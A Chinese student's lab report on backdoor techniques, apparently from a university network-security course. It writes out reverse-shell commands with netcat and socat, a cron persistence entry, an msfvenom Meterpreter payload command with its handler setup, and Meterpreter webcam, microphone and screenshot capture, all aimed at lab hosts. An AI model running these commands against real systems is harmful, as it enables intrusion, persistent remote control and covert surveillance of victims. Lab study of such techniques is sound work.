20154318_王秀飞 Exp2 后门原理与实践

本文介绍了在Windows和Linux系统中利用多种工具和技术实现远程控制的方法,包括使用ncat、socat和Meterpreter等工具来获取远程Shell,以及通过任务计划程序和cron定时任务启动后门程序。还展示了如何利用Meterpreter进行摄像头、麦克风等硬件的控制。

一、基础问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?

像上课老师讲的。国家级层面:操作系统以及编程软件;普通级别:软件、下载等。

2.例举你知道的后门如何启动起来(win及linux)的方式?

windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序等。
linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。

3.Meterpreter有哪些给你映像深刻的功能?

摄像头权限难道还不恐怖么,电影斯诺登里面的伊斯兰妇女被偷拍,已经很恐怖了好么,我自己真的拍了自己一张照片。。。??????

4.如何发现自己有系统有没有被安装后门?

老师说,杀毒软件如果连我们学的都杀不出来,那他也不用混了,我觉得很对。所以第一,看杀毒软件。第二,你不知道的,你也没办法知道,所以我也不知道。

二、实验内容

(一)Windows获得Linux Shell

1.在Windows下,先使用ipconfig指令查看本机;在Linux下,使用ifconfig指令查看地址。

1348968-20180328225520053-1258951486.png
1348968-20180328225610841-681785972.png

2.使用ncat.exe程序监听本机的4318端口:
在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4318端口:
Windows下成功获得了一个Kali的shell,运行ls指令如下:

1348968-20180328225618265-153543288.png
1348968-20180328225624830-392782573.png
1348968-20180328225631365-2142767237.png

(二)Linux获得Windows Shell

1.使用 nc 指令监听4318端口:
在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的4318端口:
Kali下可以看到Windows的命令提示,可以输入Windows命令:

1348968-20180328225703752-769196142.png

(三)使用netcat获取主机操作Shell,cron启动

1.先在Windows系统下,监听4318端口:
2.在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
3.用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
4.在最后一行添加05 * * * * /bin/netcat 192.168.1.205 4318 -e /bin/sh,意思是在每个小时的第5分钟反向连接Windows主机的4318端口,就会启动cron。设置成05的原因是我当时的时间是20点05,为了能立马看到效果,所以我将时间设置在了2分钟以后:

1348968-20180328225714574-1562108961.png

5.当时间到了20点05时,此时已经获得了Kali的shell,可以输入指令:

1348968-20180328225723838-2120639370.png

(四)使用socat获取主机操作Shell, 任务计划启动

1.在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
2.下载安装socat软件,下载地址[https://gitee.com/wildlinux/NetSec/attach_files]
3.在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4318 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4318,同时把cmd.exe的stderr重定向到stdout上:
4.创建完成之后,再次打开时,可以发现之前创建的任务已经开始运行:

1348968-20180328225733333-609591865.png

5.此时,在Kali环境下输入指令socat - tcp:192.168.1.205 4318,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4318端口,此时可以发现已经成功获得了一个cmd shell:

1348968-20180328225751471-866624136.png

(五)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1.输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4318 -f exe > 20154318.exe生成后门程序:

1348968-20180328225759512-1856108014.png

2.通过nc指令将生成的后门程序传送到Windows主机上:(在做这一步之前先将本机的杀毒软件和防火墙关闭)

1348968-20180328225806999-1522355058.png

3.在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

1348968-20180328225815086-1933828978.png
1348968-20180328225819848-1416193210.png

MSF打开监听进程

msfconsole:进入msf
use exploit/multi/handler:进入handler模式
set payload windows/meterpreter/reverse_tcp:设置payload
set LHOST 192.168.174.129:设置LHOST
set LPORT 4318:设置LPORT
exploit:MSF开始监听

4.设置完成后,执行监听:

1348968-20180328230012736-1149726833.png

5.打开Windows上的后门程序:

1348968-20180328225958262-153051209.png

6.此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

1348968-20180328225947637-469754147.png

(六)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1.使用record_mic指令可以截获一段音频:
2.使用screenshot指令可以进行截屏:
3.使用webcam stream指令可以使用摄像头进行录像

1348968-20180328225936729-541164509.png
1348968-20180328225931012-1769807195.png

三、实验感想

本次试验让我充分体会到了网络的可怕,一个命令就可以操控自己的所有电脑硬件(有足够权限与命令)。令人恐惧!

转载于:https://www.cnblogs.com/20154318-wxf/p/8666982.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值